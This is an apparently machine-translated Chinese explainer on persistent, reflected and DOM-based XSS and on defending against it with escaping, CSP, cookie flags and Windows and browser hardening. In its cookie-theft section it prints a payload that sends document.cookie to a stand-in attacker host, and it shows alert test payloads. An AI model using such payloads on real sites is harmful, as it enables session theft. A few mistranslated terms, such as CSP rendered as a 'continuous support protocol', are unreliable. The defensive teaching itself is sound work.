XSS漏洞多年來一直困擾著網絡，但它們不斷出現在新的應用程式中，彷彿一切如常。在幾乎所有事情都透過瀏覽器完成，我們使用Windows進行工作、購物、銀行業務和管理的環境中，了解XSS漏洞至關重要。 持久性跨站腳本攻擊究竟是什麼？它是如何運作的？如何保護 Windows 和瀏覽器？ 它不再是「安全極客」的專屬，而成為基本必需品。
當跨站腳本攻擊 (XSS) 被成功利用時，攻擊者不僅可以顯示彈出訊息，還可以竊取會話、冒充他人、竊取數據，甚至利用您的瀏覽器作為跳板存取其他內部系統。此外，如果漏洞是持久性的，惡意程式碼會嵌入到應用程式中，並在每次造訪時重複執行。因此，結合必要的安全措施至關重要。 安全開發最佳實務、正確的 Cookie 和瀏覽器配置、Windows 保護以及漏洞偵測工具 如果你想睡個安穩覺。
什麼是 XSS？為什麼它仍然是一個如此嚴重的問題？
跨站腳本攻擊（XSS）是一種網路安全漏洞，當應用程式允許腳本運行時就會發生這種漏洞。 受害者瀏覽器中存在不受信任的 JavaScript 程式碼這段程式碼通常來自使用者輸入（表單、URL 參數、評論、內部搜尋等），這些輸入未經適當驗證或“清理”，然後顯示在頁面上。
瀏覽器無法區分哪些腳本是網站的合法組成部分，哪些腳本是攻擊者註入的： 來自該網域的所有內容都以相同的權限執行。這使得合法網站變成了一個完美的陷阱，可以在用戶不知情的情況下竊取資料或操縱用戶行為。
攻擊者利用 XSS 漏洞執行各種惡意行為： 會話 cookie 竊取、帳戶劫持、鍵盤記錄、重定向到惡意網站、複雜的網路釣魚或靜默修改顯示內容所有這些都可以在不直接損害作業系統的情況下完成；只需攻擊瀏覽器就足夠了。
令人擔憂的是，儘管這是該網站自創立以來就已知的缺陷， XSS漏洞在OWASP Top 10漏洞和漏洞報告中仍佔據重要位置。諸如Acunetix等公司的研究表明，Web應用程式中發現的漏洞中約有40%與XSS（跨螢幕攻擊）相關。其持續存在的原因多種多樣：Web應用程式日益複雜、遺留程式碼、缺乏有效的驗證、持續支援協定（CSP）等措施實施中的錯誤、安全開發知識的匱乏以及攻擊技術的不斷演變。
XSS攻擊類型：儲存型、反射型和基於DOM的。
並非所有 XSS 漏洞的行為都相同。區分這三種主要類型非常重要，因為 每種情況下，影響和自我保護的方式都會有所不同。雖然它們的根本原因相同：在受害者的瀏覽器中運行 JavaScript。
儲存型或持久型 XSS：最危險的攻擊
儲存型跨站腳本攻擊是指惡意程式碼永久儲存在伺服器上： 通常儲存在資料庫中，但也可能儲存在檔案、日誌系統或其他儲存位置。每次使用者載入顯示該資訊的頁面時，腳本都會在瀏覽器中執行並執行。
想想論壇或部落格的評論系統。如果應用程式原封不動地保存評論，然後不進行轉義或清理就直接顯示，攻擊者就可以注入類似這樣的惡意程式碼。 <script>...código-malicioso...</script> 在評論文本中該片段儲存在資料庫中，每次造訪該貼文都會導致腳本在所有顯示該貼文的瀏覽器中自動執行。
這種類型的 XSS 攻擊尤其關鍵，因為 將單一有效載荷的影響擴展到訪問受影響內容的所有用戶有些案例表明，一條受感染的推文或評論會自動轉發或分享自身（例如 TweetDeck 就曾出現過這種情況），從而呈指數級擴大攻擊範圍。在企業環境中，如果受影響的使用者是管理員，攻擊者就能存取內部管理控制面板，甚至將攻擊傳播到其他系統。
反射型或非持久性 XSS
反射型 XSS 攻擊發生在應用程式從 HTTP 請求中取得資料時（例如， URL 參數、表單欄位或標頭），它直接將腳本插入到回應中，腳本在受害者的瀏覽器中運行，而無需儲存在伺服器上。
一個典型的例子：一個搜尋頁面會顯示搜尋文字以及類似「搜尋 X 的結果」這樣的訊息。如果應用程式沒有正確轉義該值，而有人發送了類似這樣的連結：
https://sitio.com/buscar?q=<script>alert('XSS')</script>
輸入網址後，瀏覽器將執行以下操作： 惡意腳本被注入參數中這種類型的攻擊通常伴隨著網路釣魚或社會工程攻擊：攻擊者需要說服受害者點擊篡改過的連結。
就直接影響而言，反射型 XSS 通常每次執行只會影響特定用戶，但是 如果連結分發活動規模龐大（電子郵件、社群媒體、即時通訊）損壞程度可能與儲存物品的損壞程度類似。
基於 DOM 的 XSS
基於 DOM 的 XSS 攻擊是指漏洞完全存在於客戶端 JavaScript 程式碼中。在這種情況下，伺服器可能提供的是「乾淨的」HTML，但是 瀏覽器本身運行的 JavaScript 會從不受信任的來源（例如）讀取資料。 location.search, location.hash o document.referrer並將它們注入到 DOM 中，而沒有進行任何驗證。.
例如，一個腳本從 URL 取得參數並將其插入到 URL 中。 innerHTML 個性化歡迎訊息。如果有人傳遞包含惡意 HTML 或 JavaScript 的 URL，瀏覽器會將該內容解釋為程式碼並執行。所有這些 有效載荷甚至不會到達伺服器這使得在日誌或傳統過濾器中檢測它變得更加複雜。
實際上，DOM XSS 與反射型 XSS 的共同之處在於都需要可操縱的連結或輸入以及社會工程成分，但是： 它直接利用前端邏輯和不安全的 DOM 存取。此外，許多伺服器過濾器和WAF會放行這種流量，因為它們只看到看似「正常」的流量。
攻擊者利用XSS技術能達到什麼目的？
跨站攻擊 (XSS) 的嚴重性常常被低估，但如果落入惡意攻擊者手中，則可能造成毀滅性後果。 這些影響對使用者和公司都可能是毀滅性的。從技術層面到聲譽和經濟層面。
竊取 cookie、會話和憑證
XSS 的經典用途之一是竊取會話 cookie 和其他驗證令牌。如果 cookie 沒有攜帶標誌，則該 cookie 可能會被竊取。 僅 Http腳本可以讀取它 document.cookie 並將其發送到攻擊者控制的伺服器：
<script>document.location='http://atacante.com/cookie?'+document.cookie</script>
一旦受害者載入了被感染的頁面，他們的瀏覽器就會向惡意URL發出請求。 將竊取的會話 cookie 也作為參數包含進去。有了該 cookie，攻擊者就可以在應用程式中冒充用戶，查看私人信息，代表用戶執行操作，甚至如果用戶是管理員，還可以訪問關鍵面板。
此外，注入的腳本可以記錄使用者在表單中輸入的所有內容（鍵盤輸入、登入欄位、銀行卡資訊等），並將其發送給攻擊者。 竊取憑證和敏感數據 它通常被納入更廣泛的詐騙計劃。
重定向、網路釣魚和內容操縱
另一種常見情況是靜默重定向到惡意網站或釣魚網站。該腳本可以使用 window.location 將使用者引導至模仿原網站的網站，要求他們重新登入或輸入機密資料。使用者之所以信任該網站，是因為 它來自您剛剛訪問的合法網域。.
也可以修改 DOM 來顯示虛假的登入表單、橫幅廣告或重疊的彈出窗口，甚至更多。 篡改受害者看到的內容以欺騙他們 （例如，在內網上更改銀行帳號、偽造系統訊息或操縱可見操作）。
惡意軟體傳播和攻擊升級
XSS 可以強制瀏覽器下載或執行惡意資源，例如 攻擊者控制的網域上託管的外部腳本結合瀏覽器、外掛程式甚至系統本身的其他漏洞，可以執行本機程式碼並入侵受害者的 Windows 電腦。
在企業環境中，針對內部應用程式的 XSS 攻擊可能成為橫向移動的入口點： 透過入侵的瀏覽器，攻擊者會向其他服務發送經過驗證的請求，收集額外的令牌，或利用內部網路中的錯誤配置。換句話說，一個簡單的「測試警報」可能會成為引發嚴重事故的導火線。
此外，從商業角度來看，受 XSS 影響的網站可能會遭受損失。 用戶信任度下降、轉換率和銷售額下滑，甚至會受到搜尋引擎優化懲罰。 如果Google偵測到異常行為，或網站被瀏覽器和防毒軟體列入黑名單。
對 Windows 和瀏覽器的影響：真正的博弈在哪裡展開
雖然 XSS 是一種 Web 應用程式漏洞，但實際造成損害的場景是運行在 Windows 系統上的瀏覽器。這意味著 瀏覽器 + Windows 設定 + 安全解決方案的組合 它決定了這只是一場恐慌還是一場災難。
現代瀏覽器（Chrome、Edge、Firefox 等）都整合了此功能。 進程隔離機制（沙盒）、XSS過濾器、彈出視窗攔截器、危險網站清單和下載保護Windows 則在企業環境中提供 SmartScreen、應用程式控制、整合防毒和限制策略等功能。
但是，如果使用者使用瀏覽器瀏覽 管理員設定檔、可疑的擴充功能或過時的瀏覽器或者，如果為了「確保一切正常運作」而停用安全措施，攻擊者的行動空間將大幅增加。一個被充分利用的跨站腳本攻擊（XSS）漏洞可用於下載惡意軟體、利用瀏覽器或外掛漏洞，或將裝置作為跳板攻擊其他資產。
因此，即使故障的技術根源在於Web應用程序，也至關重要。 加強 Windows 和瀏覽器的安全性：透過最小化權限、應用程式更新、控制擴充功能、使用執行白名單並結合良好的瀏覽習慣來減少攻擊面。
如何偵測應用程式中的 XSS 漏洞
如果你管理網站或企業應用程序，光靠祈禱是不夠的。你需要採取積極主動的措施。 在攻擊者行動之前，找到並評估易受攻擊的入口點。這時就需要用到不同的技術和工具了。
自動掃描和模糊測試
像這樣的工具 OWASP ZAP、Burp Suite、Acunetix、Netsparker 和其他漏洞掃描器 它們允許您對應用程式發動受控攻擊，測試表單、URL 參數、標頭和路由，以偵測可疑的 XSS 行為。
這些掃描器通常將特定有效載荷的測試與以下技術結合： 模糊這些測試本質上是將隨機的、意料之外的或格式錯誤的資料傳送到輸入字段，以觀察應用程式的回應。如果應用程式傳回未經轉義的輸入數據，或執行了測試腳本，則表示有缺陷。
使用測試腳本進行手動測試
除了自動掃描外，建議進行手動測試： 注入簡單的腳本，例如 <script>alert('XSS')</script> 在表單、URL 參數、搜尋欄位、評論或任何最終反映在頁面上的輸入中。顯然，這應該在開發或預生產環境中進行，絕不能在生產系統中進行。
瀏覽器擴充程序，例如 XSS Me、Web 開發人員或 NoScript 它們有助於審核客戶端行為、突出顯示 JavaScript 錯誤、查看 DOM 中實際執行的操作，並測試不同的向量。此外，建議徹底審查程式碼，尤其是在使用它們的地方。 innerHTML, document.write, eval 或將 HTML 與使用者資料連結起來.
代碼審查和SAST的使用
將靜態應用程式安全測試 (SAST) 工具整合到開發週期中是防患於未然、杜絕跨站腳本攻擊 (XSS) 的最有效方法之一。這些靜態分析會檢查原始程式碼，尋找潛在的安全漏洞。 不安全模式：未經驗證的資料到達視圖、錯誤的轉義、使用不受信任的輸入直接操作 DOM等等。
透過將 SAST 與面向安全的手動程式碼審查相結合，您可以識別出缺少出口逃逸機制、框架過濾器已停用或使用了危險繞過方法（例如）的區域。 Razor 中的 Html.Raw v-html 在 Vue 中，使用 [innerHTML]；在 Angular 中，使用 [innerHTML]；在 React 中，使用 dangerouslySetInnerHTML。.
如何保護您的應用程式免受 XSS 攻擊
緩解 XSS 攻擊的關鍵不在於單一的技巧，而在於… 採用多層防禦：輸入驗證、正確的輸出編碼、嚴格的 cookie 設定、內容安全策略 (CSP)、安全且最新的框架. 讓我們分部分來。
驗證並清理所有使用者輸入
黃金法則： 永遠不要相信任何來自使用者或外部來源的數據。這包括表單、URL 參數、HTTP 標頭、從其他應用程式匯入的資料、隱藏欄位等。驗證應始終在伺服器端進行，但出於可用性考慮，也可以在客戶端進行驗證。
根據具體情況，您可以：
- 限製字元集 使用正規表示式（例如，只允許字母、數字和空格）。
- 限製字段的最大長度，以避免有效載荷過大。
- 如果不需要，則直接拒絕 HTML 標籤。
- 如果您必須允許某些 HTML 程式碼（例如，在富文本評論中），請使用下列程式庫： 消毒 例如 DOMPurify (JS)、HtmlSanitizer (.NET)、AntiXSS 等，它們可以刪除危險的腳本和屬性。
例如，在.NET框架中，該框架包含預設保護措施，可阻止危險的輸入，但是 如果您使用屬性，例如 [ValidateInput(false)] 如果允許未經處理的 HTML，就等於打開了 XSS 攻擊的大門。務必清楚這些保護措施何時失效，並使用特定的過濾器進行補償。
正確轉義輸出（輸出編碼）
問題的第二部分在於數據的顯示方式。即使你驗證了數據，但如果直接將值插入 HTML 而不進行轉義，仍然存在安全漏洞。正確的做法是： 根據上下文對特殊字元進行編碼:
- 在 HTML 中，轉義字符
<,>,&單引號和雙引號 （例如，在 PHP 中，使用htmlspecialchars()ohtmlentities()). - 在 HTML 屬性中，也要轉義引號和控製字元。
- 在內聯 JavaScript 中，請使用特定的編碼器（例如 .NET 中的 JavaScriptEncoder）。
- 在 URL 中，使用參數編碼函數（UrlEncoder，
encodeURIComponent等）。
許多現代框架幾乎都能「完成」這項工作： 除非使用 Html.Raw，否則 .NET 中的 Razor 會自動對變數進行編碼。React 預設會對內容進行轉義，而 Angular 和 Vue 只要不使用注入原始 HTML 的 API，就能安全地處理插值。充分利用這些保護機制至關重要。
應用內容安全策略 (CSP)
配置正確的內容安全策略 (CSP) 是抵禦 XSS 攻擊的非常強大的附加層。使用 CSP，您可以使用 HTTP 標頭定義： 允許載入腳本、樣式、iframe、圖像等。 以及是否允許內聯腳本。
一個簡單的例子是：
Content-Security-Policy: default-src 'self'; script-src 'self' https://scripts-confiables.com
這表示只有從您自己的網域或受信任的網域提供的腳本才能執行。即使存在 XSS 漏洞， 注入腳本試圖從第三方載入程式碼將被阻止。CSP 並不能取代驗證和轉義，但它大大降低了可能漏掉的錯誤的影響。
正確配置 Cookie
會話 cookie 是 XSS 攻擊的熱門目標。為了最大限度地減少損失，必須使用適當的標誌對其進行配置：
- 僅 Http阻止 JavaScript 透過以下方式存取 cookie
document.cookie這是阻止經典 XSS 會話竊取的最直接方法。 - 安全強制 cookie 僅透過 HTTPS 連線傳送，防止在未加密通道上發生洩漏。
- 相同網站限制跨站請求中 cookie 的傳送，從而降低 CSRF 和某些組合 XSS 場景的風險。
例如，在 PHP 中，你可以這樣設定： session_set_cookie_params在其他具有等效 API 的環境中也是如此。雖然這不會阻止腳本運行，但確實會。 顯著降低對身份驗證的潛在影響.
使用 DOM 安全的框架和函式庫
在客戶端，最佳實踐是盡可能避免手動操作 DOM。諸如此類的框架… React、Angular 或 Vue 它們透過自動轉義資料來更新 DOM，並鼓勵減少使用需求的模式。 innerHTML, document.write o eval這些顯然是危險的。
如果需要操作動態 HTML，請使用類似這樣的清理庫。 DOMPurify它會分析內容並移除潛在的惡意標籤、屬性和架構。最重要的是， 仔細檢查任何允許注入原始 HTML 的 API 使用情況。因為它們通常是導致基於 DOM 的 XSS 攻擊的弱點。
保持所有內容更新：內容管理系統、外掛程式和函式庫
許多真正的入侵事件並非由你寫的程式碼引起，而是由第三方造成的： WordPress外掛程式、Joomla模組、JS庫、模板、過時的前端或後端元件 存在已知漏洞，包括 XSS 漏洞。
流程應該很明確： 定期檢查並套用安全補丁，刪除未使用的外掛程式和主題，避免使用破解版或非官方版本，並監控來自您的 CMS 或框架的安全警報。一些主機供應商提供的 WAF（Web 應用程式防火牆）（例如 Imunify360、Cloudflare WAF 等）增加了一個額外的層，在 HTTP 層級過濾已知的注入嘗試。
如何加強 Windows 和瀏覽器的安全性，抵禦 XSS 攻擊
即使問題的根源在於伺服器，您也可以透過加固用戶環境來大幅降低 XSS 攻擊升級的風險。這包括以下兩個方面： 良好的使用習慣，例如Windows和瀏覽器中的安全性設定。.
良好的導航習慣
第一點是常識，但每天都被忽略： 請勿點擊可疑連結或開啟透過電子郵件、社群媒體或即時通訊工具收到的陌生網址。尤其是當這些訊息來自未知寄件者、包含危言聳聽的訊息或看似好得令人難以置信的訊息時。
以反射型 XSS 攻擊為例，這種攻擊通常涉及帶有冗長且不尋常參數的連結。即使使用 URL 縮短服務來偽裝，也務必保持警覺。 論壇評論、私訊或電子郵件中包含缺乏清晰上下文的連結。 降低有效載荷發射的機率。
安全地配置瀏覽器
Chrome、Edge、Firefox及其衍生瀏覽器都提供了一系列值得關注的選項：
- 請確保您的瀏覽器始終保持最新狀態。允許自動更新。
- 回顧 已安裝的擴展 卸載任何你不使用或不信任的應用程式。
- 啟用設定 安全瀏覽 （Google 安全瀏覽、Microsoft Defender SmartScreen）會封鎖被回報為惡意的網頁。
- 限製或停用執行 不必要的活動內容 （例如，舊版外掛程式）並謹慎管理網站權限（攝影機、麥克風、通知）。
在企業環境中，通常會透過以下方式集中管理這些配置： 群組原則 (GPO) 或瀏覽器策略防止使用者為了方便而降低安全等級。
Windows增強功能：防毒、防火牆和應用程式控制
Windows 10 和 11 已經包含了一套不錯的安全基礎套件： 微軟 Defender 防毒軟體、內建防火牆、基於信譽的保護、應用程式控制、SmartScreen 等。即便如此，許多公司和用戶仍然選擇使用額外的解決方案（例如 Avast），以提供額外的保護層，防止惡意腳本、可疑流量或受損下載。
為了降低跨站腳本攻擊 (XSS) 的風險（該攻擊試圖在瀏覽器之外安裝惡意軟體或執行程式碼），以下幾點至關重要：
- 使用標準使用者帳戶瀏覽不能使用具有管理員權限的帳號。
- 激活 使用者帳戶控制 (UAC) 並且不要把它關掉，「以免打擾到別人」。
- 配置策略 運行應用程序 在企業環境中，可以使用 AppLocker 或 Windows Defender 應用程式控制來限制可以執行的二進位。
- 加強防火牆，如果可能的話，監控出站流量，檢查是否存在與可疑域的連接，這些域可能表明存在資料外洩（例如，發送被盜的 cookie）。
漏洞管理和滲透測試：領先攻擊者一步
經驗表明，防止 XSS 攻擊的唯一現實方法是將其視為安全策略的一部分。 持續漏洞管理並非一次性事件。這意味著需要結合以下幾點：
- 清晰的網路應用程式和服務清單 您負責處理的（內部和外部）。
- 使用自動化漏洞分析工具進行定期掃描。
- 常規滲透測試內部或外部攻擊，模擬真實攻擊，包括儲存型、反射型和基於 DOM 的 XSS 攻擊。
- 對團隊進行安全開發方面的培訓，使他們能夠充分了解問題的根源以及如何在設計階段避免問題。
專門從事道德駭客和滲透測試的公司不僅可以幫助您識別 XSS，還可以幫助您識別其他類型的 XSS。 其他附帶弱點（SQL注入、驗證失敗、敏感資料外洩、設定錯誤） 這些攻擊結合起來，可以像 Apache 基金會的 Jira 案例一樣，透過反射型 XSS 攻擊最終打開了通往關鍵存取權限的大門，從而引發了複雜的攻擊。
最終，了解什麼是持久性 XSS 漏洞、不同類型的攻擊是如何運作的，以及在 Web 開發、Windows 和瀏覽器中應採取哪些措施，將使您處於更有利的地位。結合 嚴格的驗證、正確的轉義、內容安全策略 (CSP)、強大的 cookie 配置、現代框架、持續更新、良好的瀏覽習慣、系統加固和定期審計這樣可以大幅縮小攻擊面，防止幾行簡單的腳本成為嚴重安全事件的根源。